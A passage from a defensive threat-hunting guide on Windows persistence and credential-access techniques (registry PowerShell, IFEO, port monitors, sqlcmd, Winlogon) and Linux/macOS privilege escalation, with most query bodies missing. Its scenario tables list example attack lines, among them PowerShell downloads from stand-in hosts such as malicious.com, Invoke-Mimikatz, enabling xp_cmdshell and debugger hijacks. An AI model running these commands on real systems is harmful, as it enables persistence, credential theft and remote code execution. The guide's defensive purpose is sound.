Part 7

๐Ÿšจ PowerShell Invocation from Registry


๐Ÿ” 1. Attack Breakdown

๐Ÿ“ What is PowerShell Invocation from Registry?

  • PowerShell Invocation from Registry is a technique where malicious payloads or commands are stored in Windows Registry keys and then executed using PowerShell.

  • Attackers use this technique for:

    • Persistence: Execute malicious commands on system startup or user login.

    • Defense Evasion: Hide commands in registry keys instead of traditional scripts.

    • Stealth: Avoid dropping visible files on disk.


๐Ÿ“‘ Why Do Attackers Use the Registry for PowerShell Invocation?

  • Stealth: Registry-based execution is less visible than file-based attacks.

  • Persistence: Payloads can be triggered at startup or specific events.

  • Evasion: Commands stored in registry are harder for traditional antivirus to detect.

  • Flexibility: Can execute any arbitrary PowerShell code.


๐Ÿ“Œ Common Attack Scenarios

Technique

Registry Path

Example Payload

Startup Persistence

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

powershell.exe -c "Invoke-WebRequest -Uri http://malicious.com/payload.ps1"

Scheduled Task Registry Key

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks

powershell.exe -EncodedCommand <base64>

AutoRun Key Abuse

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run

powershell.exe -Command Start-Process notepad.exe

Obfuscated Payload in Registry

HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System

powershell.exe -c "IEX (Get-Content 'reg_path')"

Shell Handlers

HKCU\Software\Classes\mscfile\shell\open\command

powershell.exe -c Invoke-Mimikatz


๐Ÿ›ก๏ธ 2. Detection Techniques

๐Ÿ“Š Manual Inspection with PowerShell

๐Ÿ•ต๏ธ Search Common Startup Keys for PowerShell Commands

๐Ÿ•ต๏ธ Search Registry for PowerShell Commands Globally

๐Ÿ•ต๏ธ Inspect Scheduled Tasks in Registry

๐Ÿ•ต๏ธ Look for Base64-Encoded PowerShell Commands

๐Ÿ•ต๏ธ Monitor Registry Key Changes


๐Ÿ“Š Microsoft Defender for Endpoint (MDE) Query (KQL)

๐Ÿ•ต๏ธ Detect PowerShell Invocation via Registry Keys

๐Ÿ•ต๏ธ Identify Base64-Encoded PowerShell Commands in Registry

๐Ÿ•ต๏ธ Trace PowerShell Executions Triggered from Registry Keys

๐Ÿ•ต๏ธ Detect Suspicious Registry Paths Executing PowerShell


๐Ÿ“Š Event Viewer Logs

Event ID

Description

4688

A new process was created (powershell.exe).

4663

Object access attempt detected on a registry key.

4104

PowerShell script block logging (useful for obfuscated payloads).

12 (Sysmon)

Registry key or value was created.

13 (Sysmon)

Registry key or value was modified.

๐Ÿ“Œ Focus on Event ID 4688:

  • Look for:

๐Ÿ“Œ Focus on Event ID 4663:

  • Registry access attempts:


๐Ÿ•ต๏ธ 3. Investigation Techniques

1๏ธโƒฃ Inspect Specific Registry Keys


2๏ธโƒฃ Trace PowerShell Commands via Sysmon Logs


3๏ธโƒฃ Analyze Process Tree

  • Trace parent-child relationships:


๐Ÿ”ง 4. Remediation Steps

๐Ÿ“Œ 1. Remove Malicious Registry Keys

๐Ÿ“Œ 2. Disable Registry Editing for Non-Admin Users

  • Apply Group Policy to prevent unauthorized changes.

๐Ÿ“Œ 3. Monitor Registry Changes Continuously

  • Enable Registry auditing and monitor changes.

๐Ÿ“Œ 4. Perform Full Antivirus Scan


๐Ÿ›ก๏ธ 5. Prevention Steps

  1. Enable Registry Auditing:

    • Monitor HKCU:\Run and HKLM:\Run keys.

  2. Block Obfuscated PowerShell Commands:

    • Use Windows Defender Exploit Guard (ASR Rules).

  3. Restrict Registry Access:

    • Limit modification permissions for sensitive keys.

  4. Enable Command Line Logging:

    • Track PowerShell invocation via Event ID 4688.

  5. Educate Users:

    • Avoid executing unknown scripts or registry changes.


๐Ÿง  6. Key Takeaways

  • Focus on Registry Keys: Run, TaskCache, Explorer\StartupApproved.

  • Monitor Event IDs: 4688, 4663, 12 (Sysmon), 13 (Sysmon).

  • Look for Obfuscated Payloads: -EncodedCommand, IEX.


๐Ÿšจ Unusual ie4uinit Process Path


๐Ÿ” 1. Attack Breakdown

๐Ÿ“ What is ie4uinit.exe?

  • ie4uinit.exe is a legitimate Windows system file located in:

    • C:\Windows\System32\ie4uinit.exe

    • C:\Windows\SysWOW64\ie4uinit.exe

  • It is used for Internet Explorer user profile initialization and to handle user-specific configurations for the browser.

๐Ÿ“‘ Why Do Attackers Abuse ie4uinit.exe?

  • Trusted Binary: It is signed by Microsoft, making it less suspicious.

  • Execution Proxy: Can be used to execute malicious payloads indirectly.

  • Persistence: Often abused in startup tasks or registry keys for persistence.

  • Evasion: May bypass traditional antivirus and security solutions.

๐Ÿ“Œ Common Attack Scenarios

Technique

Description

Example Command

Process Path Spoofing

Run ie4uinit.exe from an unusual location.

C:\Temp\ie4uinit.exe

Execution Proxy

Use ie4uinit.exe to execute a malicious DLL.

C:\Windows\Temp\ie4uinit.exe payload.dll

Startup Persistence

Create a startup entry invoking ie4uinit.exe.

reg add HKCU\...\Run /v ie4uinit /t REG_SZ /d "C:\Temp\ie4uinit.exe"

Fileless Execution

Use ie4uinit.exe in-memory execution.

C:\Windows\System32\ie4uinit.exe /k powershell -c <payload>


๐Ÿ›ก๏ธ 2. Detection Techniques

๐Ÿ“Š Manual Inspection with PowerShell

๐Ÿ•ต๏ธ List All ie4uinit.exe Processes

๐Ÿ•ต๏ธ Validate ie4uinit.exe Paths

๐Ÿ•ต๏ธ Check ie4uinit.exe in Unusual Directories

๐Ÿ•ต๏ธ Inspect ie4uinit.exe Registry Keys

๐Ÿ•ต๏ธ Trace Parent-Child Relationships


๐Ÿ“Š Microsoft Defender for Endpoint (MDE) Query (KQL)

๐Ÿ•ต๏ธ Detect ie4uinit.exe Executed from Suspicious Paths

๐Ÿ•ต๏ธ Identify Suspicious Parent Processes for ie4uinit.exe

๐Ÿ•ต๏ธ Trace Registry-Based Persistence with ie4uinit.exe

๐Ÿ•ต๏ธ Monitor File Creation of ie4uinit.exe in Suspicious Directories


๐Ÿ“Š Event Viewer Logs

Event ID

Description

4688

A new process was created (ie4uinit.exe).

4663

Object access attempt (e.g., file access).

4104

PowerShell script block execution.

7045

A new service was installed.

๐Ÿ“Œ Focus on Event ID 4688:

  • Look for:

๐Ÿ“Œ Focus on Event ID 4663:

  • Registry access:


๐Ÿ•ต๏ธ 3. Investigation Techniques

1๏ธโƒฃ Trace Unusual Process Paths


2๏ธโƒฃ Analyze Parent Process


3๏ธโƒฃ Check Registry for Persistence


๐Ÿ”ง 4. Remediation Steps

๐Ÿ“Œ 1. Terminate Malicious Process

๐Ÿ“Œ 2. Remove Malicious Files

๐Ÿ“Œ 3. Delete Malicious Registry Keys

๐Ÿ“Œ 4. Perform Full Antivirus Scan


๐Ÿ›ก๏ธ 5. Prevention Steps

  1. Monitor System32 and SysWOW64 Integrity:

    • Ensure ie4uinit.exe exists only in legitimate paths.

  2. Enable Command Line Auditing:

    • Track process creation with ie4uinit.exe.

  3. Restrict Write Access to Sensitive Directories:

    • Prevent unauthorized writes to C:\Windows, C:\Users\Public.

  4. Registry Auditing:

    • Enable alerts for modifications to Run keys.

  5. User Awareness:

    • Educate users on avoiding suspicious downloads or execution prompts.


๐Ÿง  6. Key Takeaways

  • Monitor Process Paths: Validate ie4uinit.exe paths regularly.

  • Event IDs to Watch: 4688, 4663, 7045.

  • Check Parent Processes: Look for unusual relationships.


๐Ÿšจ Exploit Guard Network Protection Blocked Event:


๐Ÿ” 1. Attack Breakdown

๐Ÿ“ What is Exploit Guard Network Protection?

  • Exploit Guard Network Protection is a feature in Microsoft Defender for Endpoint (MDE) and Windows Defender Exploit Guard (WDEG).

  • It prevents network-based attacks by blocking connections to malicious domains, IPs, or URLs.

  • The feature uses threat intelligence feeds and real-time analysis to detect and block malicious connections.

๐Ÿ“‘ Why is Network Protection Blocked?

  • The system detected a malicious network connection attempt from a process or service.

  • Common reasons include:

    • Accessing a known malicious domain.

    • Malware attempting Command and Control (C2) communication.

    • Phishing attempts via malicious URLs.

    • Data exfiltration via suspicious outbound traffic.


๐Ÿ“Œ Common Attack Scenarios

Scenario

Description

Example Indicator

Malware C2 Communication

Malware attempting to connect to a command server.

http://attacker.com/c2

Phishing Website

User accessed a phishing link via browser.

http://phishing-site.com

Data Exfiltration

Sensitive data sent to an external server.

http://malicious-upload.com

Malicious Script Execution

Script triggers outbound traffic to malicious IP.

powershell -c "Invoke-WebRequest http://malicious.com/payload"

Drive-by Download Attack

Website delivers malicious files during browsing.

http://exploit-landing.com


๐Ÿ›ก๏ธ 2. Detection Techniques

๐Ÿ“Š Manual Inspection with PowerShell

๐Ÿ•ต๏ธ Check Defender Network Protection Events in Event Viewer

๐Ÿ•ต๏ธ Inspect Blocked Network Connections

๐Ÿ•ต๏ธ List Processes Triggering Network Protection Events

๐Ÿ•ต๏ธ Inspect Recent Malicious Domains and URLs Blocked


๐Ÿ“Š Microsoft Defender for Endpoint (MDE) Query (KQL)

๐Ÿ•ต๏ธ Detect Exploit Guard Network Protection Blocked Events

๐Ÿ•ต๏ธ Identify Processes Triggering Network Blocks

๐Ÿ•ต๏ธ Trace Malicious URLs or IPs Triggering Network Protection

๐Ÿ•ต๏ธ Monitor Repeated Block Events from the Same ProceDeviceEvents

๐Ÿ•ต๏ธ Correlate with Web Browsing Activity


๐Ÿ“Š Event Viewer Logs

Event ID

Description

1125

Windows Defender Exploit Guard Network Protection event.

5156

Network connection allowed (trace subsequent connections).

4688

Process creation (trace responsible process).

๐Ÿ“Œ Focus on Event ID 1125:

  • Look for:


๐Ÿ•ต๏ธ 3. Investigation Techniques

1๏ธโƒฃ Trace Process Responsible for Blocked Activity


2๏ธโƒฃ Inspect Command Line Arguments

  • Review the command used:


3๏ธโƒฃ Analyze Remote URLs and IPs


๐Ÿ”ง 4. Remediation Steps

๐Ÿ“Œ 1. Terminate Malicious Processes

๐Ÿ“Œ 2. Block Malicious IPs or Domains

๐Ÿ“Œ 3. Remove Malicious Scheduled Tasks or Startup Entries

๐Ÿ“Œ 4. Review User Activity

  • Check logs for any unusual behavior tied to the user.

๐Ÿ“Œ 5. Perform Full Antivirus Scan


๐Ÿ›ก๏ธ 5. Prevention Steps

  1. Enable Exploit Guard Network Protection:

    • Ensure it's set to Block Mode in policy.

  2. Regularly Audit Policies:

    • Verify that malicious sites and IPs are actively blocked.

  3. Monitor High-Risk Users:

    • Flag repeat offenders for suspicious activity.

  4. Update Security Tools Regularly:

    • Ensure definitions and threat intelligence feeds are up-to-date.

  5. Educate Users:

    • Warn against clicking on suspicious links or downloading unknown files.


๐Ÿง  6. Key Takeaways

  • Focus on Event IDs: 1125, 4688, 5156.

  • Trace Processes Triggering Blocks: Look for repeat offenders.

  • Correlate with Network Activity: Validate blocked domains and IPs.

  • Investigate URLs on Threat Intelligence Platforms: Verify malicious indicators.


๐Ÿšจ Privilege Elevation (Linux & macOS):


๐Ÿ” 1. Attack Breakdown

๐Ÿ“ What is Privilege Elevation?

  • Privilege Elevation occurs when an attacker gains higher privileges (e.g., root or admin access) on a system through vulnerabilities, misconfigurations, or design flaws.

  • This is often used for:

    • Full System Control: Gain unrestricted access to files and processes.

    • Persistence: Maintain access across system reboots.

    • Lateral Movement: Access other systems using elevated privileges.

    • Data Exfiltration: Bypass access controls.


๐Ÿ“‘ Why Attackers Seek Privilege Elevation?

  • Expand Control: Access sensitive files and services.

  • Bypass Security Controls: Disable security mechanisms.

  • Establish Persistence: Create backdoors or scheduled tasks.

  • Credential Dumping: Extract credentials for further compromise.

  • Cover Tracks: Modify logs and hide malicious activity.


๐Ÿ“Œ Common Privilege Elevation Techniques

Technique

Linux Example

macOS Example

Sudo Misconfigurations

sudo -l โ†’ sudo bash

sudo -l โ†’ sudo nano /etc/sudoers

Kernel Exploits

CVE-2021-4034 (Polkit)

CVE-2019-8526

Setuid Binaries

find / -perm -4000

find / -perm +4000

Weak File Permissions

chmod 777 /etc/shadow

chmod 777 /etc/passwd

Exploiting Services

systemctl edit service

launchctl load -w /Library/LaunchDaemons

Environment Variable Abuse

LD_PRELOAD

DYLD_INSERT_LIBRARIES

Credential Dumping

/etc/shadow

security find-generic-password


๐Ÿ›ก๏ธ 2. Detection Techniques

๐Ÿ“Š Linux Detection Techniques

๐Ÿ•ต๏ธ Check for Sudo Misconfigurations

๐Ÿ•ต๏ธ Identify Setuid Binaries

๐Ÿ•ต๏ธ Check for Writable System Binaries

๐Ÿ•ต๏ธ Monitor Sudo Logins

Check /var/log/auth.log or /var/log/secure:

๐Ÿ•ต๏ธ Identify Suspicious Kernel Modules

๐Ÿ•ต๏ธ Look for Suspicious Cron Jobs


๐Ÿ“Š macOS Detection Techniques

๐Ÿ•ต๏ธ Check for Sudo Misconfigurations

๐Ÿ•ต๏ธ List Setuid and Setgid Binaries

๐Ÿ•ต๏ธ Inspect Launch Daemons and Agents

๐Ÿ•ต๏ธ Check for Cron Jobs

๐Ÿ•ต๏ธ Identify Writable Configuration Files

๐Ÿ•ต๏ธ Look for Suspicious Kernel Extensions (kext)


๐Ÿ“Š SIEM Detection Queries

๐Ÿ“Š Linux SIEM Query (ELK, Splunk)

๐Ÿ•ต๏ธ Detect Sudo Privilege Escalation

๐Ÿ•ต๏ธ Monitor Exploitation Attempts

๐Ÿ•ต๏ธ Identify Abnormal Cron Job Modifications

๐Ÿ•ต๏ธ Track Writable Binary Directories


๐Ÿ“Š macOS SIEM Query (Splunk, ELK)

๐Ÿ•ต๏ธ Detect LaunchDaemon Manipulation

๐Ÿ•ต๏ธ Monitor Sudo Commands

๐Ÿ•ต๏ธ Identify Suspicious Kernel Module Loading

๐Ÿ•ต๏ธ Monitor DYLD_INSERT_LIBRARIES Abuse


๐Ÿ›ก๏ธ 3. Investigation Techniques

1๏ธโƒฃ Trace Privilege Escalation Attempts


2๏ธโƒฃ Analyze Exploit Attempts


3๏ธโƒฃ Review New Cron Jobs


๐Ÿ”ง 4. Remediation Steps

๐Ÿ“Œ 1. Remove Malicious Cron Jobs

๐Ÿ“Œ 2. Revert Permissions

๐Ÿ“Œ 3. Disable Suspicious LaunchAgents

๐Ÿ“Œ 4. Revoke Sudo Permissions for Compromised Accounts

๐Ÿ“Œ 5. Perform Full Antivirus Scan


๐Ÿ›ก๏ธ 5. Prevention Steps

  1. Enable SELinux (Linux): Enforce security contexts.

  2. Enable SIP (macOS): Protect system directories.

  3. Limit Sudo Access: Use least privilege principles.

  4. Monitor Logs: Regularly review auth logs.

  5. Disable Unused Services: Stop unnecessary daemons and agents.


๐Ÿง  6. Key Takeaways

  • Privilege Escalation is Critical: Early detection is key.

  • Focus on Key Logs: /var/log/auth.log, /var/log/secure, system.log.

  • SIEM Queries: Use KQL, Splunk, or FQL for real-time monitoring.

  • Enable Integrity Checks: Ensure permissions on sensitive files are secure.


๐Ÿšจ Credential Dumping Using sqlcmd.exe


๐Ÿ” 1. Attack Breakdown

๐Ÿ“ What is sqlcmd.exe?

  • sqlcmd.exe is a command-line utility provided by Microsoft SQL Server.

  • It allows users to connect to SQL Server databases, execute T-SQL commands, and query data.

๐Ÿ“‘ Why Do Attackers Abuse sqlcmd.exe?

  • Trusted Binary: Signed by Microsoft and often allowed by security controls.

  • Credential Access: Extract stored database credentials.

  • Lateral Movement: Use database credentials to pivot across systems.

  • Data Exfiltration: Export sensitive data.

  • Persistence: Store payloads in SQL Server jobs or procedures.


๐Ÿ“Œ Common Attack Scenarios

Technique

Description

Example Command

Extract Database Credentials

Access SQL Server credentials from memory.

sqlcmd -Q "SELECT * FROM sys.sql_logins"

Retrieve Hashes from SQL Tables

Dump hashed credentials.

sqlcmd -Q "SELECT name, password_hash FROM sys.sql_logins"

Run Malicious Queries

Execute malicious SQL commands.

sqlcmd -Q "EXEC xp_cmdshell 'whoami'"

Enable xp_cmdshell for System Access

Enable external command execution.

sqlcmd -Q "EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;"

Persist via SQL Agent Jobs

Create malicious SQL Server jobs.

sqlcmd -Q "EXEC msdb.dbo.sp_add_job @job_name='MaliciousJob', @enabled=1;"


๐Ÿ›ก๏ธ 2. Detection Techniques

๐Ÿ“Š Manual Inspection with SQLCMD

๐Ÿ•ต๏ธ Check Active SQLCMD Sessions

๐Ÿ•ต๏ธ Identify Suspicious Commands Executed via SQLCMD

๐Ÿ•ต๏ธ Monitor SQL Server Agent Jobs

๐Ÿ•ต๏ธ Look for xp_cmdshell Execution

๐Ÿ•ต๏ธ Check for Suspicious Logins


๐Ÿ“Š Manual Inspection with PowerShell

๐Ÿ•ต๏ธ Identify Suspicious SQLCMD Processes

๐Ÿ•ต๏ธ Inspect SQLCMD Command-Line History

๐Ÿ•ต๏ธ Check SQLCMD Network Connections


๐Ÿ“Š Microsoft Defender for Endpoint (MDE) Query (KQL)

๐Ÿ•ต๏ธ Detect SQLCMD Process Execution

๐Ÿ•ต๏ธ Identify SQLCMD with Suspicious Command-Line Arguments

๐Ÿ•ต๏ธ Trace SQLCMD Network Activity

๐Ÿ•ต๏ธ Monitor SQLCMD Accessing Sensitive Tables

๐Ÿ•ต๏ธ Detect SQLCMD Persistence Mechanisms


๐Ÿ“Š Event Viewer Logs

Event ID

Description

4688

New process created (sqlcmd.exe).

4624

Account logon (look for database access).

4768

Kerberos Authentication Ticket requested.

4104

PowerShell script block logging.

5156

Network connection allowed.

๐Ÿ“Œ Focus on Event ID 4688:

  • Look for:

๐Ÿ“Œ Focus on Event ID 4624:

  • Look for suspicious logins via SQLCMD.


๐Ÿ•ต๏ธ 3. Investigation Techniques

1๏ธโƒฃ Review SQL Server Error Logs


2๏ธโƒฃ Trace SQLCMD Commands from System Logs

  • Review authentication attempts:


3๏ธโƒฃ Inspect SQLCMD Parent-Child Processes


๐Ÿ”ง 4. Remediation Steps

๐Ÿ“Œ 1. Disable xp_cmdshell

๐Ÿ“Œ 2. Revoke Unnecessary Database Permissions

๐Ÿ“Œ 3. Terminate Malicious SQLCMD Processes

๐Ÿ“Œ 4. Remove Malicious SQL Jobs

๐Ÿ“Œ 5. Perform Full Antivirus Scan


๐Ÿ›ก๏ธ 5. Prevention Steps

  1. Restrict xp_cmdshell: Disable unless absolutely necessary.

  2. Implement Role-Based Access Control (RBAC): Minimize privileged accounts.

  3. Enable SQL Server Audit Logs: Track administrative activities.

  4. Network Segmentation: Limit SQL Server access.

  5. Monitor SQLCMD Processes: Create alerts for unusual commands.


๐Ÿง  6. Key Takeaways

  • Focus on Event IDs: 4688, 4624, 4768.

  • Monitor SQLCMD Commands: Look for xp_cmdshell and sensitive queries.

  • Limit Privileges: Ensure sqlcmd cannot execute arbitrary system commands.


๐Ÿšจ Suspicious Connection by Winlogon.exe


๐Ÿ” 1. Attack Breakdown

๐Ÿ“ What is Winlogon.exe?

  • Winlogon.exe is a core Windows process responsible for handling user login, desktop initialization, and user session management.

  • Itโ€™s located in:

    • C:\Windows\System32\winlogon.exe

  • It should never establish outbound network connections under normal circumstances.

๐Ÿ“‘ Why Do Attackers Abuse Winlogon.exe?

  • Trusted Binary: Signed by Microsoft and rarely monitored.

  • Stealth: Blends in with legitimate processes.

  • Evasion: Evades traditional antivirus and security tools.

  • Persistence: Can be abused for long-term persistence.

  • Data Exfiltration: Used to hide outbound communication.


๐Ÿ“Œ Common Attack Scenarios

Technique

Description

Example Indicator

Code Injection into Winlogon

Malicious code injected into Winlogon.

rundll32.exe inject.dll

Winlogon Network Communication

Unauthorized outbound connections from Winlogon.

winlogon.exe connects to 192.168.1.100

Persistence via Registry

Backdoors set in Winlogon registry keys.

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

Credential Theft

Exfiltration of cached credentials.

winlogon.exe dumps LSASS process

Proxy for Malware C2 Traffic

Winlogon used to proxy C2 connections.

winlogon.exe connects to malicious.com


๐Ÿ›ก๏ธ 2. Detection Techniques

๐Ÿ“Š Manual Inspection with PowerShell

๐Ÿ•ต๏ธ Verify Winlogon Process Path

  • โœ… Expected Path: C:\Windows\System32\winlogon.exe

  • โŒ Suspicious Path: C:\Users\Public\winlogon.exe, C:\Temp\winlogon.exe


๐Ÿ•ต๏ธ Check Network Connections by Winlogon

  • Look for Outbound Connections to:

    • Unfamiliar IPs.

    • Non-standard ports (e.g., 4444, 8080).


๐Ÿ•ต๏ธ Inspect Parent-Child Relationship

  • โœ… Expected Parent Process: services.exe

  • โŒ Unexpected Parent Process: cmd.exe, powershell.exe


๐Ÿ•ต๏ธ Inspect Winlogon Registry Keys

  • Focus on:

    • Userinit (should point to userinit.exe)

    • Shell (should point to explorer.exe)


๐Ÿ“Š Microsoft Defender for Endpoint (MDE) Query (KQL)

๐Ÿ•ต๏ธ Detect Winlogon Outbound Network Connections

๐Ÿ•ต๏ธ Monitor Suspicious Winlogon Registry Changes

๐Ÿ•ต๏ธ Trace Process Tree Involving Winlogon

๐Ÿ•ต๏ธ Identify Code Injection into Winlogon


๐Ÿ“Š Event Viewer Logs

Event ID

Description

4688

A new process was created (winlogon.exe).

5156

Network connection allowed.

4663

Registry key access detected.

7045

A new service was installed.

๐Ÿ“Œ Focus on Event ID 4688:

  • Look for:

๐Ÿ“Œ Focus on Event ID 4663:

  • Registry key modification:


๐Ÿ•ต๏ธ 3. Investigation Techniques

1๏ธโƒฃ Validate Winlogon Binary Integrity

  • Compare hash on VirusTotal.


2๏ธโƒฃ Inspect Winlogon Startup Configurations


3๏ธโƒฃ Trace Winlogonโ€™s Network Traffic


๐Ÿ”ง 4. Remediation Steps

๐Ÿ“Œ 1. Terminate Suspicious Winlogon Processes

๐Ÿ“Œ 2. Restore Registry Keys

๐Ÿ“Œ 3. Remove Suspicious Executables

๐Ÿ“Œ 4. Block Malicious IPs

๐Ÿ“Œ 5. Perform Full Antivirus Scan


๐Ÿ›ก๏ธ 5. Prevention Steps

  1. Enable Command Line Auditing: Track Winlogon execution.

  2. Monitor Registry Changes: Enable alerts for Winlogon keys.

  3. Restrict Registry Permissions: Prevent unauthorized modifications.

  4. Review Firewall Rules: Block unnecessary outbound connections.

  5. Enable Behavioral Analytics: Use EDR to monitor anomalies.


๐Ÿง  6. Key Takeaways

  • Winlogon.exe Should Not Make Network Connections: Flag outbound traffic.

  • Monitor Registry Keys: Validate Userinit and Shell.

  • Focus on Event IDs: 4688, 4663, 5156.

  • Investigate Parent-Child Process Trees: Ensure legitimate parent processes.


๐Ÿšจ Image File Execution Options (IFEO) Injection: Advanced Threat Analysis


๐Ÿ” 1. Attack Breakdown

๐Ÿ“ What is IFEO (Image File Execution Options)?

  • Image File Execution Options (IFEO) is a Windows Registry key designed for debugging applications.

  • Attackers exploit IFEO to:

    • Hijack legitimate applications.

    • Establish persistence by injecting malicious binaries.

    • Redirect application execution to malicious payloads.

๐Ÿ“‘ Why Do Attackers Use IFEO Injection?

  • Persistence: Payloads execute every time the targeted application runs.

  • Stealth: Abuses legitimate debugging mechanisms.

  • Execution Control: Replace or redirect legitimate processes.

  • Low Detection Rate: Often ignored by traditional antivirus tools.


๐Ÿ“Œ Common Attack Scenarios

Technique

Registry Key

Example Payload

Debugger Hijacking

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe

Debugger = C:\Malicious\payload.exe

Application Redirection

HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe

Debugger = powershell.exe -ExecutionPolicy Bypass -EncodedCommand <payload>

Persistence Mechanism

HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.exe

Debugger = cmd.exe /c start malicious.exe

DLL Hijacking

HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogon.exe

Debugger = rundll32.exe C:\malicious.dll


๐Ÿ›ก๏ธ 2. Detection Techniques

๐Ÿ“Š ๐Ÿ•ต๏ธ List IFEO Registry Keys

๐Ÿ•ต๏ธ Search for Debugger Entries

๐Ÿ•ต๏ธ Inspect User-Level IFEO Keys

๐Ÿ•ต๏ธ Check for Suspicious Debugger Paths


๐Ÿ“Š Microsoft Defender for Endpoint (MDE) Query (KQL)

๐Ÿ•ต๏ธ Detect Suspicious IFEO Registry Modifications

๐Ÿ•ต๏ธ Trace IFEO Modifications by Processes

๐Ÿ•ต๏ธ Monitor Application Execution via IFEO Hijacking

๐Ÿ•ต๏ธ Identify IFEO Persistence Mechanisms


๐Ÿ“Š Event Viewer Logs

Event ID

Description

4688

New process created (cmd.exe, powershell.exe, rundll32.exe).

4663

Registry key access detected.

4104

PowerShell script block execution.

7045

A new service was installed.

๐Ÿ“Œ Focus on Event ID 4688:

  • Look for:

๐Ÿ“Œ Focus on Event ID 4663:

  • Registry access:


๐Ÿ•ต๏ธ 3. Investigation Techniques

1๏ธโƒฃ Validate IFEO Entries


2๏ธโƒฃ Inspect Associated Binaries

  • Verify integrity of payloads:


3๏ธโƒฃ Trace Parent-Child Process Trees


๐Ÿ”ง 4. Remediation Steps

๐Ÿ“Œ 1. Remove Malicious IFEO Registry Entries

๐Ÿ“Œ 2. Validate Application Paths

  • Ensure legitimate binaries are in the expected paths.

๐Ÿ“Œ 3. Audit Registry Access

  • Enable Registry Auditing for IFEO keys.

๐Ÿ“Œ 4. Perform Full Antivirus Scan


๐Ÿ›ก๏ธ 5. Prevention Steps

  1. Enable Command Line Auditing: Monitor reg add commands.

  2. Restrict Registry Access: Limit access to IFEO registry keys.

  3. Monitor Event Logs: Focus on 4688, 4663, 7045.

  4. Implement EDR Policies: Block suspicious registry modifications.

  5. Enable Behavior-Based Detection: Identify abnormal parent-child relationships.


๐Ÿง  6. Key Takeaways

  • Monitor IFEO Keys: Regularly audit Debugger values.

  • Event Focus: Look at 4688, 4663, and 7045.

  • Verify Parent-Child Processes: Look for unexpected process launches.

  • Enable Behavioral Analytics: Detect anomalies in registry access.


๐Ÿšจ Port Monitors (Registry): Advanced Threat Analysis


๐Ÿ” 1. Attack Breakdown

๐Ÿ“ What are Port Monitors?

  • Port Monitors are Windows components that handle print jobs sent to printers via defined ports.

  • They are configured in the Windows Registry and are often legitimate but can be abused by attackers for persistence and code execution.

๐Ÿ“‘ Why Do Attackers Abuse Port Monitors?

  • Persistence: Automatically execute malicious code on system startup.

  • Stealth: Blend in with legitimate printer operations.

  • Evasion: Often overlooked by antivirus and security tools.

  • Arbitrary Code Execution: Run payloads every time a print job is initiated.

๐Ÿ“Œ Common Registry Paths for Port Monitors

  • HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors

  • HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Drivers\Version-3

๐Ÿ“Œ Common Attack Scenarios

Technique

Registry Key

Example Payload

Malicious DLL as Port Monitor

HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\MaliciousMonitor

C:\Windows\Temp\malicious.dll

Persistence via Print Spooler Service

HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\MonitorName\Driver

C:\Windows\Temp\payload.dll

Arbitrary DLL Execution

HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\AttackMonitor

powershell -c "Invoke-WebRequest http://attacker.com/payload.exe"

Hijacking Legitimate Monitors

HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\Standard TCP/IP Port

C:\Windows\Temp\exploit.dll


๐Ÿ›ก๏ธ 2. Detection Techniques

๐Ÿ“Š Manual Inspection with PowerShell

๐Ÿ•ต๏ธ List All Registered Port Monitors

๐Ÿ•ต๏ธ Inspect Port Monitor DLL Paths

๐Ÿ•ต๏ธ Identify Suspicious DLL Locations

๐Ÿ•ต๏ธ Check for Recent Modifications

๐Ÿ•ต๏ธ Verify Loaded Monitor DLLs in Memory


๐Ÿ“Š Microsoft Defender for Endpoint (MDE) Query (KQL)

๐Ÿ•ต๏ธ Detect Port Monitor Modifications

๐Ÿ•ต๏ธ Identify Suspicious DLLs Loaded by Spooler Service

๐Ÿ•ต๏ธ Monitor Registry Changes in Port Monitors

๐Ÿ•ต๏ธ Trace DLL Execution via Print Spooler

๐Ÿ•ต๏ธ Identify Unauthorized Port Monitor Additions


๐Ÿ“Š Event Viewer Logs

Event ID

Description

4688

New process created (spoolsv.exe).

4663

Registry key access detected (Print\Monitors).

7045

A new service was installed.

7036

Print Spooler service state change.

๐Ÿ“Œ Focus on Event ID 4663:

  • Look for:

๐Ÿ“Œ Focus on Event ID 7045:

  • A new DLL/service is loaded into Print Spooler:


๐Ÿ•ต๏ธ 3. Investigation Techniques

1๏ธโƒฃ Verify Port Monitor DLL Integrity

  • Compare hash on VirusTotal.


2๏ธโƒฃ Check Loaded DLLs in Spooler Process


3๏ธโƒฃ Analyze Registry Modifications


๐Ÿ”ง 4. Remediation Steps

๐Ÿ“Œ 1. Remove Malicious Port Monitor Entries

๐Ÿ“Œ 2. Restart Print Spooler Service

๐Ÿ“Œ 3. Remove Suspicious DLLs

๐Ÿ“Œ 4. Perform Full Antivirus Scan


๐Ÿ›ก๏ธ 5. Prevention Steps

  1. Monitor Registry Changes: Enable auditing for Print\Monitors keys.

  2. Restrict Registry Access: Limit administrative access to Port Monitor keys.

  3. Monitor Print Spooler Activity: Regularly review spoolsv.exe behavior.

  4. Implement EDR Rules: Detect unauthorized Port Monitor additions.

  5. Review Event Logs Regularly: Focus on 4688, 4663, 7045.


๐Ÿง  6. Key Takeaways

  • Focus on Registry Keys: Print\Monitors for unauthorized DLLs.

  • Monitor Event IDs: 4688, 4663, 7045.

  • Trace Suspicious Processes: Any non-system DLLs loaded by spoolsv.exe.

  • Regular Audits: Ensure no unauthorized registry modifications exist

๐Ÿšจ Potential Tunneled Communication via WebSocket Connection: Advanced Threat Analysis


๐Ÿ” 1. Attack Breakdown

๐Ÿ“ What is WebSocket?

  • WebSocket is a communication protocol that provides full-duplex communication channels over a single TCP connection.

  • It is commonly used for:

